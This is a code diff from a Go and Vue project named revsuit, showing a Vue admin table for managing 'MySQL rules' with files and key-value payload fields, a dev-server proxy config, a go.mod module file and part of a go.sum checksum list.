margin-bottom: 10px;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
import {getMysqlRule, upsertMysqlRule, deleteMysqlRule} from '@/api/rule'
|
||||||
|
import {store} from '@/main'
|
||||||
|
import BasicRule from "@/components/BasicRule";
|
||||||
|
|
||||||
|
const VIEW = "View"
|
||||||
|
const EDIT = "Edit"
|
||||||
|
const CREATE = "Create"
|
||||||
|
|
||||||
|
const columns = [
|
||||||
|
{
|
||||||
|
title: 'ID',
|
||||||
|
dataIndex: 'id',
|
||||||
|
key: 'id',
|
||||||
|
sorter: true,
|
||||||
|
sortDirections: ['descend', 'ascend'],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'NAME',
|
||||||
|
dataIndex: 'name',
|
||||||
|
key: 'name',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'FLAG FORMAT',
|
||||||
|
dataIndex: 'flag_format',
|
||||||
|
key: 'flag_format',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'RANK',
|
||||||
|
dataIndex: 'rank',
|
||||||
|
key: 'rank',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: "rank"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'FILES',
|
||||||
|
dataIndex: 'files',
|
||||||
|
key: 'files',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: "files"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'PUSH TO CLIENT',
|
||||||
|
dataIndex: 'push_to_client',
|
||||||
|
key: 'push_to_client',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: 'switchRender',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'NOTICE',
|
||||||
|
dataIndex: 'notice',
|
||||||
|
key: 'notice',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: 'switchRender',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'Action',
|
||||||
|
key: 'action',
|
||||||
|
scopedSlots: {customRender: 'action'},
|
||||||
|
},
|
||||||
|
];
|
||||||
|
const rules = {
|
||||||
|
files: [{required: false, message: "please enter file name"}],
|
||||||
|
}
|
||||||
|
export default {
|
||||||
|
name: 'MysqlRules',
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
data: [],
|
||||||
|
formVisible: false,
|
||||||
|
pagination: {current: 1},
|
||||||
|
filters: {},
|
||||||
|
loading: false,
|
||||||
|
columns,
|
||||||
|
form: {},
|
||||||
|
rules: rules,
|
||||||
|
payloadKeys: [1],
|
||||||
|
formReadOnly: false,
|
||||||
|
formAction: "", // View ,Create or Edit
|
||||||
|
}
|
||||||
|
},
|
||||||
|
methods: {
|
||||||
|
handleTableChange(pagination, filters, sorter) {
|
||||||
|
const pager = {...this.pagination};
|
||||||
|
pager.current = pagination.current;
|
||||||
|
this.pagination = pager;
|
||||||
|
this.order = sorter.order === "ascend" ? "asc" : "desc"
|
||||||
|
this.fetch();
|
||||||
|
},
|
||||||
|
fetch: function () {
|
||||||
|
this.loading = true;
|
||||||
|
let params = {
|
||||||
|
...this.filters,
|
||||||
|
page: this.pagination.current,
|
||||||
|
order: this.order
|
||||||
|
}
|
||||||
|
getMysqlRule(params).then(res => {
|
||||||
|
let result = res.data.result
|
||||||
|
this.data = result.data
|
||||||
|
const pagination = {...this.pagination};
|
||||||
|
// Read total count from server
|
||||||
|
// pagination.total = data.totalCount;
|
||||||
|
pagination.total = result.count;
|
||||||
|
this.pagination = pagination;
|
||||||
|
this.loading = false
|
||||||
|
}).catch(e => {
|
||||||
|
if (e.response.status === 403) {
|
||||||
|
store.authed = false
|
||||||
|
return []
|
||||||
|
} else {
|
||||||
|
this.$notification.error({
|
||||||
|
message: 'Unknown error: ' + e.response.status,
|
||||||
|
style: {
|
||||||
|
width: '100px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 4
|
||||||
|
});
|
||||||
|
}
|
||||||
|
})
|
||||||
|
},
|
||||||
|
clickSwitch(record, prop) {
|
||||||
|
record[prop] = !record[prop]
|
||||||
|
upsertMysqlRule(record).then().catch(e => {
|
||||||
|
this.$notification.error({
|
||||||
|
message: 'Edit failed',
|
||||||
|
description:
|
||||||
|
e.response.data.error,
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 4
|
||||||
|
});
|
||||||
|
})
|
||||||
|
},
|
||||||
|
addRule() {
|
||||||
|
this.form = {}
|
||||||
|
this.showForm(CREATE)
|
||||||
|
},
|
||||||
|
viewRule(record) {
|
||||||
|
this.form = record
|
||||||
|
this.showForm(VIEW)
|
||||||
|
},
|
||||||
|
editRule(record) {
|
||||||
|
this.form = JSON.parse(JSON.stringify(record))
|
||||||
|
this.showForm(EDIT)
|
||||||
|
},
|
||||||
|
deleteRule(record, index) {
|
||||||
|
deleteMysqlRule(record).then(() => {
|
||||||
|
this.data.splice(index, 1)
|
||||||
|
}).catch(e => {
|
||||||
|
this.$notification.error({
|
||||||
|
message: 'Error',
|
||||||
|
description:
|
||||||
|
e.response.data.error,
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 4
|
||||||
|
});
|
||||||
|
})
|
||||||
|
},
|
||||||
|
showForm(action) {
|
||||||
|
this.formAction = action
|
||||||
|
this.formReadOnly = action === VIEW;
|
||||||
|
this.formVisible = true;
|
||||||
|
|
||||||
|
for (let k in this.form.payloads) {
|
||||||
|
this.form["Key-" + this.payloadKeys.length] = k
|
||||||
|
this.form["Value-" + this.payloadKeys.length] = this.form.payloads[k]
|
||||||
|
this.addPayload()
|
||||||
|
}
|
||||||
|
if (this.formReadOnly) {
|
||||||
|
this.removePayload(this.payloadKeys.length)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
closeDrawer() {
|
||||||
|
this.formVisible = false;
|
||||||
|
this.payloadKeys = [1]
|
||||||
|
},
|
||||||
|
addPayload() {
|
||||||
|
this.payloadKeys.push(this.payloadKeys[this.payloadKeys.length - 1] + 1)
|
||||||
|
},
|
||||||
|
removePayload(key) {
|
||||||
|
if (this.payloadKeys.length > 1) {
|
||||||
|
this.payloadKeys.splice(this.payloadKeys.indexOf(key), 1)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
handleSubmit() {
|
||||||
|
this.$refs.form.validate(valid => {
|
||||||
|
if (valid) {
|
||||||
|
let payloads = {}
|
||||||
|
let form = {}
|
||||||
|
for (let k in this.form) {
|
||||||
|
if (k.indexOf("Key-") === 0) {
|
||||||
|
let i = k.substr("Key-".length)
|
||||||
|
if (this.form["Value-" + i]) {
|
||||||
|
payloads[this.form[k]] = this.form["Value-" + i]
|
||||||
|
}
|
||||||
|
} else if (k.indexOf("Value-") === -1) {
|
||||||
|
form[k] = this.form[k]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
form.payloads = payloads
|
||||||
|
upsertMysqlRule(form).then(() => {
|
||||||
|
this.closeDrawer()
|
||||||
|
this.fetch({page: this.pagination.current});
|
||||||
|
this.$notification.info({
|
||||||
|
message: 'Success',
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 2.5
|
||||||
|
});
|
||||||
|
}).catch(e => {
|
||||||
|
this.$notification.error({
|
||||||
|
message: this.formAction + ' failed',
|
||||||
|
description:
|
||||||
|
e.response.data.error,
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 4
|
||||||
|
});
|
||||||
|
})
|
||||||
|
}
|
||||||
|
})
|
||||||
|
},
|
||||||
|
handleCancel() {
|
||||||
|
this.form = {}
|
||||||
|
this.closeDrawer()
|
||||||
|
}
|
||||||
|
},
|
||||||
|
mounted() {
|
||||||
|
this.fetch({page: "1"});
|
||||||
|
},
|
||||||
|
components: {
|
||||||
|
BasicRule,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
// vue.config.js
|
||||||
|
const path = require('path');
|
||||||
|
|
||||||
|
// eslint-disable-next-line no-unused-vars
|
||||||
|
function resolve(dir) {
|
||||||
|
return path.join(__dirname, dir)
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = {
|
||||||
|
devServer: {
|
||||||
|
proxy: {
|
||||||
|
'/api': {
|
||||||
|
target: 'http://localhost:10000',
|
||||||
|
pathRewrite: {
|
||||||
|
'^/revsuit/api': '/revsuit/api'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
},
|
||||||
|
filenameHashing: false,
|
||||||
|
publicPath: ''
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
module github.com/li4n0/revsuit
|
||||||
|
|
||||||
|
go 1.16
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 // indirect
|
||||||
|
github.com/fatih/color v1.10.0 // indirect
|
||||||
|
github.com/gabriel-vasile/mimetype v1.2.0
|
||||||
|
github.com/gin-gonic/gin v1.6.3
|
||||||
|
github.com/go-playground/validator/v10 v10.4.1 // indirect
|
||||||
|
github.com/go-sql-driver/mysql v1.5.0
|
||||||
|
github.com/golang/protobuf v1.4.3 // indirect
|
||||||
|
github.com/jinzhu/now v1.1.2 // indirect
|
||||||
|
github.com/json-iterator/go v1.1.10 // indirect
|
||||||
|
github.com/leodido/go-urn v1.2.1 // indirect
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.6 // indirect
|
||||||
|
github.com/miekg/dns v1.1.38
|
||||||
|
github.com/patrickmn/go-cache v2.1.0+incompatible
|
||||||
|
github.com/pkg/errors v0.9.1
|
||||||
|
github.com/russross/blackfriday/v2 v2.1.0 // indirect
|
||||||
|
github.com/sinlov/qqwry-golang v0.0.0-20191204062238-bea9868bbbf4
|
||||||
|
github.com/stretchr/testify v1.6.1
|
||||||
|
github.com/ugorji/go v1.2.4 // indirect
|
||||||
|
github.com/urfave/cli/v2 v2.3.0
|
||||||
|
golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad // indirect
|
||||||
|
golang.org/x/sys v0.0.0-20210217105451-b926d437f341 // indirect
|
||||||
|
google.golang.org/protobuf v1.25.0 // indirect
|
||||||
|
gopkg.in/yaml.v2 v2.4.0
|
||||||
|
gorm.io/driver/sqlite v1.1.4
|
||||||
|
gorm.io/gorm v1.21.4
|
||||||
|
unknwon.dev/clog/v2 v2.2.0
|
||||||
|
vitess.io/vitess v0.9.0
|
||||||
|
)
|
||||||
@@ -0,0 +1,835 @@
|
|||||||
|
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||||
|
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||||
|
cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
|
||||||
|
cloud.google.com/go v0.41.0/go.mod h1:OauMR7DV8fzvZIl2qg6rkaIhD/vmgk4iwEw/h6ercmg=
|
||||||
|
cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
|
||||||
|
cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
|
||||||
|
cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
|
||||||
|
cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
|
||||||
|
cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
|
||||||
|
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
|
||||||
|
cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
|
||||||
|
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
|
||||||
|
cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
|
||||||
|
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
|
||||||
|
github.com/Azure/azure-pipeline-go v0.2.2/go.mod h1:4rQ/NZncSvGqNkkOsNpOU1tgoNuIlp9AfUH5G1tvCHc=
|
||||||
|
github.com/Azure/azure-storage-blob-go v0.10.0/go.mod h1:ep1edmW+kNQx4UfWM9heESNmQdijykocJ0YOxmMX8SE=
|
||||||
|
github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8=
|
||||||
|
github.com/Azure/go-autorest/autorest v0.9.0/go.mod h1:xyHB1BMZT0cuDHU7I0+g046+BFDTQ8rEZB0s4Yfa6bI=
|
||||||
|
github.com/Azure/go-autorest/autorest v0.10.0/go.mod h1:/FALq9T/kS7b5J5qsQ+RSTUdAmGFqi0vUdVNNx8q630=
|
||||||
|
github.com/Azure/go-autorest/autorest/adal v0.5.0/go.mod h1:8Z9fGy2MpX0PvDjB1pEgQTmVqjGhiHBW7RJJEciWzS0=
|
||||||
|
github.com/Azure/go-autorest/autorest/adal v0.8.2/go.mod h1:ZjhuQClTqx435SRJ2iMlOxPYt3d2C/T/7TiQCVZSn3Q=
|
||||||
|
github.com/Azure/go-autorest/autorest/adal v0.8.3/go.mod h1:ZjhuQClTqx435SRJ2iMlOxPYt3d2C/T/7TiQCVZSn3Q=
|
||||||
|
github.com/Azure/go-autorest/autorest/date v0.1.0/go.mod h1:plvfp3oPSKwf2DNjlBjWF/7vwR+cUD/ELuzDCXwHUVA=
|
||||||
|
github.com/Azure/go-autorest/autorest/date v0.2.0/go.mod h1:vcORJHLJEh643/Ioh9+vPmf1Ij9AEBM5FuBIXLmIy0g=
|
||||||
|
github.com/Azure/go-autorest/autorest/mocks v0.1.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0=
|
||||||
|
github.com/Azure/go-autorest/autorest/mocks v0.2.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0=
|
||||||
|
github.com/Azure/go-autorest/autorest/mocks v0.3.0/go.mod h1:a8FDP3DYzQ4RYfVAxAN3SVSiiO77gL2j2ronKKP0syM=
|
||||||
|
github.com/Azure/go-autorest/logger v0.1.0/go.mod h1:oExouG+K6PryycPJfVSxi/koC6LSNgds39diKLz7Vrc=
|
||||||
|
github.com/Azure/go-autorest/tracing v0.5.0/go.mod h1:r/s2XiOKccPW3HrqB+W0TQzfbtp2fGCgRFtBroKn4Dk=
|
||||||
|
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||||
|
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||||
|
github.com/BurntSushi/xgbutil v0.0.0-20160919175755-f7c97cef3b4e/go.mod h1:uw9h2sd4WWHOPdJ13MQpwK5qYWKYDumDqxWWIknEQ+k=
|
||||||
|
github.com/DataDog/datadog-go v2.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ=
|
||||||
|
github.com/GeertJohan/go.incremental v1.0.0/go.mod h1:6fAjUhbVuX1KcMD3c8TEgVUqmo4seqhv0i0kdATSkM0=
|
||||||
|
github.com/GeertJohan/go.rice v1.0.0/go.mod h1:eH6gbSOAUv07dQuZVnBmoDP8mgsM1rtixis4Tib9if0=
|
||||||
|
github.com/Masterminds/glide v0.13.2/go.mod h1:STyF5vcenH/rUqTEv+/hBXlSTo7KYwg2oc2f4tzPWic=
|
||||||
|
github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=
|
||||||
|
github.com/Masterminds/vcs v1.13.0/go.mod h1:N09YCmOQr6RLxC6UNHzuVwAdodYbbnycGHSmwVJjcKA=
|
||||||
|
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
|
||||||
|
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
|
||||||
|
github.com/PuerkitoBio/goquery v1.5.1/go.mod h1:GsLWisAFVj4WgDibEWF4pvYnkVQBpKBKeU+7zCJoLcc=
|
||||||
|
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||||
|
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||||
|
github.com/PuerkitoBio/purell v1.1.1/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||||
|
github.com/PuerkitoBio/urlesc v0.0.0-20160726150825-5bd2802263f2/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE=
|
||||||
|
github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE=
|
||||||
|
github.com/agnivade/levenshtein v1.0.1/go.mod h1:CURSv5d9Uaml+FovSIICkLbAUZ9S4RqaHDIsdSBg7lM=
|
||||||
|
github.com/akavel/rsrc v0.8.0/go.mod h1:uLoCtb9J+EyAqh+26kdrTgmzRBFPGOolLWKpdxkKq+c=
|
||||||
|
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
|
||||||
|
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
|
||||||
|
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
|
||||||
|
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
|
||||||
|
github.com/andreyvit/diff v0.0.0-20170406064948-c7f18ee00883/go.mod h1:rCTlJbsFo29Kk6CurOXKm700vrz8f0KW0JNfpkRJY/8=
|
||||||
|
github.com/andybalholm/cascadia v1.1.0/go.mod h1:GsXiBklL0woXo1j/WYWtSYYC4ouU9PqHO0sqidkEA4Y=
|
||||||
|
github.com/aquarapid/vaultlib v0.5.1/go.mod h1:yT7AlEXtuabkxylOc/+Ulyp18tff1+QjgNLTnFWTlOs=
|
||||||
|
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
|
||||||
|
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
|
||||||
|
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
|
||||||
|
github.com/armon/go-metrics v0.0.0-20190430140413-ec5e00d3c878/go.mod h1:3AMJUQhVx52RsWOnlkpikZr01T/yAVN2gn0861vByNg=
|
||||||
|
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
|
||||||
|
github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
|
||||||
|
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs=
|
||||||
|
github.com/asaskevich/govalidator v0.0.0-20180720115003-f9ffefc3facf/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
|
||||||
|
github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
|
||||||
|
github.com/aws/aws-sdk-go v1.28.8/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
|
||||||
|
github.com/axgle/mahonia v0.0.0-20120522011915-5dd783869dfe/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg=
|
||||||
|
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ=
|
||||||
|
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg=
|
||||||
|
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
|
||||||
|
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
|
||||||
|
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||||
|
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
||||||
|
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
||||||
|
github.com/blang/semver v3.5.0+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
|
||||||
|
github.com/blang/semver v3.5.1+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
|
||||||
|
github.com/buger/jsonparser v0.0.0-20200322175846-f7e751efca13/go.mod h1:tgcrVJ81GPSF0mz+0nu1Xaz0fazGPrmmJfJtxjbHhUQ=
|
||||||
|
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||||
|
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
||||||
|
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||||
|
github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag=
|
||||||
|
github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I=
|
||||||
|
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
||||||
|
github.com/cockroachdb/datadriven v0.0.0-20190809214429-80d97fb3cbaa/go.mod h1:zn76sxSg3SzpJ0PPJaLDCu+Bu0Lg3sKTORVIj19EIF8=
|
||||||
|
github.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd/go.mod h1:sE/e/2PUdi/liOCUjSTXgM1o87ZssimdTWN964YiIeI=
|
||||||
|
github.com/codegangsta/cli v1.20.0/go.mod h1:/qJNoX69yVSKu5o4jLyXAENLRyk1uhi7zkbQ3slBdOA=
|
||||||
|
github.com/codegangsta/inject v0.0.0-20150114235600-33e0aa1cb7c0/go.mod h1:4Zcjuz89kmFXt9morQgcfYZAYZ5n8WHjt81YYWIwtTM=
|
||||||
|
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
|
||||||
|
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
|
||||||
|
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
|
||||||
|
github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
|
||||||
|
github.com/coreos/go-oidc v2.1.0+incompatible/go.mod h1:CgnwVTmzoESiwO9qyAFEMiHoZ1nMCKZlZ9V6mm3/LKc=
|
||||||
|
github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
|
||||||
|
github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
|
||||||
|
github.com/coreos/go-systemd v0.0.0-20180511133405-39ca1b05acc7/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
|
||||||
|
github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
|
||||||
|
github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
|
||||||
|
github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
|
||||||
|
github.com/coreos/pkg v0.0.0-20180108230652-97fdf19511ea/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
|
||||||
|
github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
|
||||||
|
github.com/corpix/uarand v0.1.1/go.mod h1:SFKZvkcRoLqVRFZ4u25xPmp6m9ktANfbpXZ7SJ0/FNU=
|
||||||
|
github.com/cpuguy83/go-md2man v1.0.10 h1:BSKMNlYxDvnunlTymqtgONjNnaRV1sTpcovwwjF22jk=
|
||||||
|
github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
|
||||||
|
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||||
|
github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
|
||||||
|
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||||
|
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
|
||||||
|
github.com/cyberdelia/go-metrics-graphite v0.0.0-20161219230853-39f87cc3b432/go.mod h1:xwIwAxMvYnVrGJPe2FKx5prTrnAjGOD8zvDOnxnrrkM=
|
||||||
|
github.com/daaku/go.zipexe v1.0.0/go.mod h1:z8IiR6TsVLEYKwXAoE/I+8ys/sDkgTzSL0CLnGVd57E=
|
||||||
|
github.com/davecgh/go-spew v0.0.0-20151105211317-5215b55f46b2/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||||
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
